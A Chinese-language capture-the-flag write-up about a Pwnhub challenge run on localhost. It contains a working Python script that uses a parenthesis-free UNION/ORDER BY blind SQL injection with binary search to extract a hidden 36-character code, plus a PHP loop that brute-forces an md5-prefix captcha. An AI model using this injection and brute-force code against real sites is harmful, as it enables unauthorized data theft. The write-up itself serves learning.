这几天复现了一下 Pwnhub会员日 的一道题。

一开始创表和字段的时候自信的自己创。。然后发现出问题了。。然后。。就老老实实的“自带”的代码。。然后就ojbk了~~

这道题涉及了太多太多原先我并不知道的东西,所以仔细思考下来,还是收获了很多新姿势~

面对一开始的login界面,

测试了半天,发现没有注入点,然后不知道怎么进行下一步,就很懵逼~

Process

对于一个没有丰富ctf经验的小白来说。。就真的不知道要用扫描器这个神奇的东西~~后来发现thisisourcecode,就赶紧download下来审计一波~~


就只有几个php,根据代码审计老套路~寻找可控点~捋清楚逻辑

SQL注入

profile.php 中有一个注入点

但是。。过滤了我认为最重要的(),这就很难受了。。因为这样子,我该如何注入啊??

Flag

要想拿到flag,
1.就要拿到$secrect

因为兑换码是一个“str_shuffle“的随机字符串

str_shuffle
但是要值得注意的是,这个函数是将字符串用伪随机的方式打乱,也就是一个字母用了一次之后,就不会再用第二次,我们可以利用

这个东西也是做了这套题为才知道的~~

2.就要爆破出验证码

Solution

SQL注入

要找出36位的兑换码不难,难得是

他还限制了次数,超过了140次,就重置掉,所以。。傻瓜式遍历,肯定行不通~~这对一个虽然学过二分法,但是不知道怎么用python来实现的freshman来说,好像是有点残忍~~然后感谢彭锅(Ph0rse)给的思路~再去找了些资料,似乎搞懂了。。
虽然我们要找到数据库中的兑换码,但是,兑换码在哪一列?不知道,而且过滤了(),也就意味着不能用mysql的一系列函数,来爆破列名(废话,要是能爆列名,还要盲注干嘛 :D )。
于是又从彭锅那里学到一招:

手动测试一下,回显位是第二位,果然是这样的。。所以就可以开始写脚本了。

# -*- coding:UTF-8 -*-
import requests as rq
import sys

# 准备工作
url = "http://localhost/pwnhub/profile.php"
cookies = {"PHPSESSID":"630v0vodvk3f2muj14cohfld80"}
payload = {'id':'1'}
string = '0123456789abcdefghijklmnopqrstuvwxyz'
str = ''
url = rq.get(url,cookies=cookies, params=payload)
i = 1
print(url.url)

while i <= 36:
    left = 0
    right = len(string)-1
    print('problem:')
    print(right)

    if right - left == 1:
        poc = url.url +' union select 1,2,3,\''+str+string[right]+'\',5 order by 4 limit 0,1--+'
        target = rq.get(poc,cookies=cookies)
        if 'KarmA' in target.text:
            str = str + string[left]
            str = str + string[right]
            print(str)
            exit()
        else:
            str = str + string[right]
            str = str + string[left]
            print(str)
            exit()
    # 二分法
    while 1:
        mid = int((left + right)) / 2
        poc = url.url + ' union select 1,2,3,\''+str+string[mid]+'\',5 order by 4 limit 0,1--+'
        print(poc)
        target = rq.get(poc,cookies=cookies)
        print(target.text)
        if 'KarmA' in target.text:
            right = mid - 1 # 左半部
        else:
            left = mid # 右半部

        if left == right: #中值
            str = str + string[left]
            string = string.replace(string[left],'')
            break

        if right - left == 1: # 特殊情况,如不处理,会导致死循环
            poc = url.url +' union select 1,2,3,\''+str+string[right]+'\',5 order by 4 limit 0,1--+'
            target = rq.get(poc, cookies=cookies)
            if 'KarmA' in target.text:
                str = str + string[left]
                string = string.replace(string[left],'')
                break

            else:
                str = str + string[right]
                string = string.replace(string[right],'')
                break

    i += 1
print(str)

验证码


对传入的captcha经过md5加密后取前4位,与session的验证码比较。所以就需要写个脚本逆向爆破一下。得到加密前的验证码。

<?php
    $i=1;
    while (1)
    {
        if(substr(md5($i),0,4)=='dd35')
        {
            echo $i;
            break;
        }
        $i++;
    }
?>


然后就得到flag了。。。